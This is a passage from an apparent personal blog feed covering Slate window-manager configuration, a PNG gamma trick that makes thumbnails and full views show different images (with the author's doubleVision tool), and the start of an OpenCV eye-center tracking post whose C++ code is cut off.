Whenever I need to type a number I use the ones along the top of the keyboard so
before Slate the numpad was just useless buttons. I bound the numpad keys like
to resize windows in the direction they pointed. For example, 5 was fullscreen,
4 was left half and 6 was right half. The other buttons were quarters, top and
bottom. Special numpad keys like * and + did things like display a window
resizing grid or arrange my windows in a certain layout.&lt;/p&gt;

&lt;p&gt;I soon grew tired of reaching for my numpad so I added bindings to the home row
of my keyboard using the hyper key. This is more convenient for when I don’t
have a numpad and it makes it so I don’t have to reach over.&lt;/p&gt;

&lt;p&gt;I have just scratched the surface of what Slate can do in terms of window
movement and resizing, Slate has commands for resizing windows incrementally,
nudging windows around, resizing to any fraction of the screen you want and even
moving windows to specific pixel positions.&lt;/p&gt;

&lt;p&gt;&lt;a name=&quot;configuration&quot;&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;h1 id=&quot;configuring-slate&quot;&gt;Configuring Slate&lt;/h1&gt;
&lt;h3 id=&quot;aka-how-do-i-do-all-this-cool-stuff&quot;&gt;A.K.A How do I do all this cool stuff?&lt;/h3&gt;

&lt;p&gt;Like many amazing tools such as VIM and ZSH, Slate is configured through a
dotfile in the home directory called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.slate&lt;/code&gt;. The &lt;a href=&quot;https://github.com/jigish/slate&quot;&gt;Slate
Readme&lt;/a&gt; file has very detailed information on
configuring Slate so I am just going to show some tricks that let you do
specific things.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.slate&lt;/code&gt; file is made up of different commands. The top level commands are:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config&lt;/code&gt;: for global configurations.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alias&lt;/code&gt;: to create alias variables.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;layout&lt;/code&gt;: to configure layouts.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;default&lt;/code&gt; :to default certain screen configurations to layouts&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bind&lt;/code&gt;: binds a key to an action.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;source&lt;/code&gt;: to load configs from another file.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#&lt;/code&gt; character is used for comment lines and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;&lt;/code&gt; is used to delimit
strings.&lt;/p&gt;

&lt;h3 id=&quot;general-configuration&quot;&gt;General Configuration&lt;/h3&gt;

&lt;p&gt;Using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config&lt;/code&gt; command, you can set a variety of options that change how
slate works. Here are some you options that I like to set:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;config defaultToCurrentScreen true
# Shows app icons and background apps, spreads icons in the same place.
config windowHintsShowIcons true
config windowHintsIgnoreHiddenWindows false
config windowHintsSpread true
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;window-hints&quot;&gt;Window Hints&lt;/h3&gt;

&lt;p&gt;Along with the general configuration from the previous section, all you have to
do to use window hints is bind the hint operation to a key. I like to use
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;command+e&lt;/code&gt; as it is easy to type and not used in many mac applications.&lt;/p&gt;

&lt;p&gt;To do this put the following in your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.slate&lt;/code&gt; file:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bind e:cmd hint ASDFGHJKLQWERTYUIOPCVBN # use whatever keys you want
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can choose which letters you want window hints to use. The letters will be
assigned to windows in the order specified by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;windowHintsOrder&lt;/code&gt; config
option. If you have more windows than there are letters specified, some hints
will not be shown. I suggest you start with either the home row of your keyboard
or all the keys on one side of the keyboard so you only need one hand.&lt;/p&gt;

&lt;h3 id=&quot;window-grid&quot;&gt;Window Grid&lt;/h3&gt;

&lt;p&gt;If you are a fan of the Divvy style window positioning grid Slate can do
that too. To bind the window grid to a key use a command like:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bind g:cmd grid padding:5 0:6,2 1:8,3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This particular command binds &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;command+g&lt;/code&gt; to show a 6x2 grid on the first
monitor (monitor &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;) and a 8x3 grid on the second monitor (monitor &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/postassets/slate/grid.png&quot;&gt;&lt;img src=&quot;/assets/postassets/slate/grid.png&quot; alt=&quot;Window Grid&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;normal-window-management&quot;&gt;Normal Window Management&lt;/h3&gt;

&lt;p&gt;Slate is so configurable that it allows you to specify any fraction of the
screen you want to move windows; however, this can be annoying if you just want
to use halves and fullscreen. To remedy this, Slate allows you to create aliases
that you can use for common commands.&lt;/p&gt;

&lt;p&gt;Here are some aliases I use for common positions:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Abstract positions
alias full move screenOriginX;screenOriginY screenSizeX;screenSizeY
alias lefthalf move screenOriginX;screenOriginY screenSizeX/2;screenSizeY
alias righthalf move screenOriginX+screenSizeX/2;screenOriginY screenSizeX/2;screenSizeY
alias topleft corner top-left resize:screenSizeX/2;screenSizeY/2
alias topright corner top-right resize:screenSizeX/2;screenSizeY/2
alias bottomleft corner bottom-left resize:screenSizeX/2;screenSizeY/2
alias bottomright corner bottom-right resize:screenSizeX/2;screenSizeY/2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can then bind these commands to any keys you want. For example, you can use
the numpad to move windows around:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Numpad location Bindings
bind pad1 ${bottomleft}
bind pad2 push bottom bar-resize:screenSizeY/2
bind pad3 ${bottomright}
bind pad4 ${lefthalf}
bind pad5 ${full}
bind pad6 ${righthalf}
bind pad7 ${topleft}
bind pad8 push top bar-resize:screenSizeY/2
bind pad9 ${topright}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;layouts&quot;&gt;Layouts&lt;/h3&gt;

&lt;p&gt;Layouts allow you to tell Slate how you like your windows arranged so it can
arrange them for you. To create a layout you have to specify how you like your
applications arranged and then you bind the layout to a keyboard shortcut.&lt;/p&gt;

&lt;p&gt;We can re-use the aliases from the last section in our layout definitions like
this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;layout 1monitor &apos;iTerm&apos;:REPEAT ${bottomright}
layout 1monitor &apos;Sublime Text 2&apos;:REPEAT ${lefthalf}
layout 1monitor &apos;MacVim&apos;:REPEAT ${lefthalf}
layout 1monitor &apos;Safari&apos;:REPEAT ${righthalf}
layout 1monitor &apos;Mail&apos;:REPEAT ${righthalf}
layout 1monitor &apos;Path Finder&apos;:REPEAT ${topright}
layout 1monitor &apos;Xcode&apos;:REPEAT ${full}
layout 1monitor &apos;Eclipse&apos;:REPEAT ${full}
layout 1monitor &apos;iTunes&apos;:REPEAT ${full}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then we can bind the layout to a key like this:&lt;/p&gt;

&lt;p&gt;bind l:cmd layout 1monitor&lt;/p&gt;

&lt;p&gt;Now whenever we press &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;command+l&lt;/code&gt; our apps will arrange themselves the way we
like. In this example I named my layout &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1monitor1&lt;/code&gt; but you can give it a
meaningful name and even have multiple layouts with different names.&lt;/p&gt;

&lt;h3 id=&quot;ultra-fast-app-switching&quot;&gt;Ultra-Fast App Switching&lt;/h3&gt;

&lt;p&gt;To bind shortcuts directly to focusing an app you can use the focus command.
For example, we can bind &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;command+option+b&lt;/code&gt; to focus our browser:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bind b:cmd;alt focus &apos;Google Chrome&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;my-slate&quot;&gt;My .slate&lt;/h3&gt;

&lt;p&gt;Here is my &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.slate&lt;/code&gt; file in its entirety, do note that it is optimized for the
Dvorak keyboard layout, so some of the shortcuts may seem weird and the hint
keys are the Dvorak home row rather than qwerty.&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/4121655.js?file=.slate&quot;&gt;
&lt;/script&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>Magic PNG Thumbnails</title>
   <link href="https://thume.ca/projects/2012/11/14/magic-png-files/"/>
   <updated>2012-11-14T00:00:00+00:00</updated>
   <id>https://thume.ca/projects/2012/11/14/magic-png-files</id>
   <content type="html">
&lt;p&gt;I was shown trick by a friend where an image was posted on a website
that displayed one thing in the thumbnail and another in the lightbox.
&lt;a href=&quot;http://funnyjunk.com/channel/ponytime/rainbow+dash/llhuDyy/15#15&quot;&gt;http://funnyjunk.com/channel/ponytime/rainbow+dash/llhuDyy/15#15&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This post contains an explanation of how these images work and how I was able
to replicate their behaviour.&lt;/p&gt;

&lt;h2 id=&quot;the-behaviour&quot;&gt;The Behaviour&lt;/h2&gt;

&lt;p&gt;Certain renderers of the png files would display one image and other renderers
would display a completely different one. One image is always dark and one is
light.&lt;/p&gt;

&lt;h3 id=&quot;example&quot;&gt;Example:&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/assets/postassets/doubleVision/difference.png&quot; alt=&quot;Difference example&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;things-that-display-the-light-image&quot;&gt;Things that display the light image:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Thumbnail renderers (Facebook, etc…)&lt;/li&gt;
  &lt;li&gt;Apple png rendering&lt;/li&gt;
  &lt;li&gt;Windows png rendering&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;things-that-display-the-dark-image&quot;&gt;Things that display the dark image:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Firefox (and by extension anything that uses libpng)&lt;/li&gt;
  &lt;li&gt;Google Chrome&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;this-can-lead-to-interesting-combos&quot;&gt;This can lead to interesting combos:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;linking the image on facebook can show one image as a thumbnail but a completely different one when the link is clicked.&lt;/li&gt;
  &lt;li&gt;A picture that detects the user’s browser. (Chrome/Firefox or Safari)&lt;/li&gt;
  &lt;li&gt;A picture that displays one thing in the browser and a different thing when downloaded to the user’s (victim’s) computer.&lt;/li&gt;
  &lt;li&gt;The classic image board thumbnail.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;the-challenge-and-victory&quot;&gt;The Challenge and Victory&lt;/h2&gt;

&lt;p&gt;I started on a long journey to figure out how this effect works so that I
could replicate it. The path to enlightenment involved many wrong turns
including believing that the image was being interpreted as a GIF but I
eventually discovered the truth.&lt;/p&gt;

&lt;p&gt;After I discovered the secret I wrote a command line tool in Ruby called
doubleVision so that anybody could generate magic thumbnail images.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://github.com/trishume/doubleVision&quot;&gt;doubleVision is available on Github&lt;/a&gt;
and as an executable Ruby gem.&lt;/p&gt;

&lt;p&gt;The output images look like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/doubleVision/out.png&quot; alt=&quot;Sample Image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Try downloading it to your computer and then viewing it. Cool eh?&lt;/p&gt;

&lt;h2 id=&quot;how-it-works&quot;&gt;How it works&lt;/h2&gt;

&lt;p&gt;The PNG specification contains a metadata attribute that allows you
to specify the gamma to render the image with. This attribute is intended to
be used to ensure that images look identical on all computers. This is a very
normal image processing process called &lt;a href=&quot;http://en.wikipedia.org/wiki/Gamma_correction&quot;&gt;Gamma Correction&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The PNG specification defines the gAMA chunk (the chunk that stores the gamma
value) to change the image output like so:&lt;/p&gt;

&lt;p&gt;light_out = image_sample^(1 / gamma)&lt;/p&gt;

&lt;p&gt;This scales the image values exponentially based on the reciprocal of the
gamma value. If the gamma value is around 1 like it normally is this function
has little noticeable effect. During this process, the lowest brightness value
for a pixel is 0 and the highest is 1.&lt;/p&gt;

&lt;p&gt;If we set the PNG gamma attribute to a very low value, making the exponent
value very high (since it is the reciprocal), all darker pixels will be made
black and all lighter pixels will be mapped to the normal spectrum.&lt;/p&gt;

&lt;h3 id=&quot;exponential-gamma-mapping&quot;&gt;Exponential Gamma Mapping&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/assets/postassets/doubleVision/PNG_Gamma_mapping.png&quot; alt=&quot;Gamma mapping&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can reverse this mapping for a very low value of the gamma attribute (I use 0.023)
to get a PNG image where all the pixels of the image are mapped to very light
colors. If we then set the gamma value of the PNG to 0.023 the image will look
somewhat normal, except for the rounding errors introduced by crunching the
image into high values.&lt;/p&gt;

&lt;p&gt;The thing is, not all renderers support the gamma attribute. If we try and
view this image in a renderer that does not support the gamma attribute it
will show too bright to make out.&lt;/p&gt;

&lt;p&gt;We can abuse this to create a magic thumbnail by taking two images of the same
size and creating a new image twice their dimensions. One image is run through
the previously mentioned reverse gamma filter that makes all pixels very bright and
the other is darkened so that it has no very bright pixels. The images are
then spaced out in grids around each other (see image). The resulting image is
saved as a PNG file with a gAMA of 0.023.&lt;/p&gt;

&lt;h3 id=&quot;pixel-grid-pattern&quot;&gt;Pixel Grid Pattern&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/assets/postassets/doubleVision/pixelgrid.png&quot; alt=&quot;Grid Pattern&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When the image is displayed in a renderer that supports gamma (Like Firefox/Chrome) the light pixels
become fairly dark but visible colors and the normal pixels become a grid of dark pixels.
When the image is displayed in a renderer that does not support gamma (like Apple/Microsoft rendering)
The untransformed image is shown surrounded by a grid of seemingly white pixels.&lt;/p&gt;

&lt;h2 id=&quot;installation-and-usage&quot;&gt;Installation and Usage&lt;/h2&gt;

&lt;p&gt;You can install the doubleVision gem and command using:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ gem install doubleVision
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, run the program like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;doubleVision withgamma.png withoutgamma.png out.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;obviously replacing the filenames with your own.&lt;/p&gt;

&lt;p&gt;It will combine the images into one image (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;out.png&lt;/code&gt;) that will display
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;withgamma.png&lt;/code&gt; when viewed with gamma support (e.g. in Firefox)
and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;withoutgamma.png&lt;/code&gt; when displayed without gamma support (e.g. As a thumbnail)&lt;/p&gt;

&lt;h3 id=&quot;for-more-detailed-instructions-read-the-readme-on-github&quot;&gt;For more detailed instructions read the &lt;a href=&quot;http://github.com/trishume/doubleVision&quot;&gt;README on Github&lt;/a&gt;&lt;/h3&gt;

&lt;h2 id=&quot;other-example&quot;&gt;Other Example&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/doubleVision/DayNight.png&quot; alt=&quot;Day and Night&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Was generated from:
&lt;img src=&quot;/assets/postassets/doubleVision/Night.png&quot; alt=&quot;Night&quot; /&gt;
and
&lt;img src=&quot;/assets/postassets/doubleVision/Day.png&quot; alt=&quot;Day&quot; /&gt;&lt;/p&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>Simple, accurate eye center tracking in OpenCV</title>
   <link href="https://thume.ca/projects/2012/11/04/simple-accurate-eye-center-tracking-in-opencv/"/>
   <updated>2012-11-04T00:00:00+00:00</updated>
   <id>https://thume.ca/projects/2012/11/04/simple-accurate-eye-center-tracking-in-opencv</id>
   <content type="html">
&lt;p&gt;I am currently working on writing &lt;a href=&quot;http://github.com/trishume/eyeLike&quot;&gt;an open source gaze tracker&lt;/a&gt; in OpenCV that requires only a webcam.
One of the things necessary for any gaze tracker&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; is accurate tracking of the eye center.&lt;/p&gt;

&lt;p&gt;For my gaze tracker I had the following constraints:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Must work on low resolution images.&lt;/li&gt;
  &lt;li&gt;Must be able to run in real time.&lt;/li&gt;
  &lt;li&gt;I must be able to implement it with only high school level math knowledge.&lt;/li&gt;
  &lt;li&gt;Must be accurate enough to be used for gaze tracking.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I came across a paper&lt;sup id=&quot;fnref:2&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; by Fabian Timm that details an algorithm that fit all of my criteria.
It uses image gradients and dot products to create a function that theoretically is at a maximum at the center of the image’s most prominent circle.&lt;/p&gt;

&lt;p&gt;Here is a video he made of his algorithm in action:&lt;/p&gt;

&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/aGmGyFLQAFM&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;
&lt;/iframe&gt;

&lt;p&gt;&lt;strong&gt;Before continuing I recommend that you read &lt;a href=&quot;https://www.inb.uni-luebeck.de/fileadmin/files/PUBPDFS/TiBa11b.pdf&quot;&gt;his paper&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;

&lt;h1 id=&quot;implementing-the-algorithm&quot;&gt;Implementing the algorithm&lt;/h1&gt;

&lt;p&gt;After implementing the algorithm detailed in the paper using OpenCV functions my implementation had horrendous accuracy and many problems. These were partially caused by the paper not specifying some important numbers.&lt;/p&gt;

&lt;p&gt;These numbers include:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The eye region fractions.&lt;/li&gt;
  &lt;li&gt;The gradient magnitude threshold.&lt;/li&gt;
  &lt;li&gt;The size of the eye regions used.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I contacted Dr. Timm and he helped me with some of my problems.
Below are some problems that I resolved with Dr. Timm’s help.&lt;/p&gt;

&lt;h2 id=&quot;things-that-are-not-in-the-paper&quot;&gt;Things That Are Not in the Paper&lt;/h2&gt;

&lt;p&gt;The first thing I fixed was the eye region fractions as portions of the face. From Dr. Timm:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Let (x, y) be the upper left corner and W, H the width and height of the detected face.
Then, the mean of the right eye centre is located at (x + 0.3, y + 0) and the mean of the left centre is at position (x + 0.7, y + 0.4).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;On his recommendation I also applied a gaussian blur to the face before processing it to smooth noise. I use the sigma of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0.005 * sideLengthOfFace&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;the-gradient-algorithm&quot;&gt;The Gradient Algorithm&lt;/h3&gt;

&lt;p&gt;One important thing that is not explained very clearly in the paper is the gradient algorithm. In his implementation he uses the MatLab &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gradient&lt;/code&gt; function. In my original implementation I used a Sobel operator but by imitating MatLab’s gradient function I achieved much better results.&lt;/p&gt;

&lt;p&gt;The way MatLab’s gradient algorithm works (in Matlab code) is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[x(2)-x(1) (x(3:end)-x(1:end-2))/2 x(end)-x(end-1)]&lt;/code&gt; with x being the input. Translated into C++ and OpenCV this comes out as:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c--&quot; data-lang=&quot;c++&quot;&gt;&lt;span class=&quot;n&quot;&gt;cv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Mat&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;computeMatXGradient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Mat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;cv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Mat&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cols&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CV_64F&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;uchar&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Mr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uchar&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;double&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Or&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;double&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;Or&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Mr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Mr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cols&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
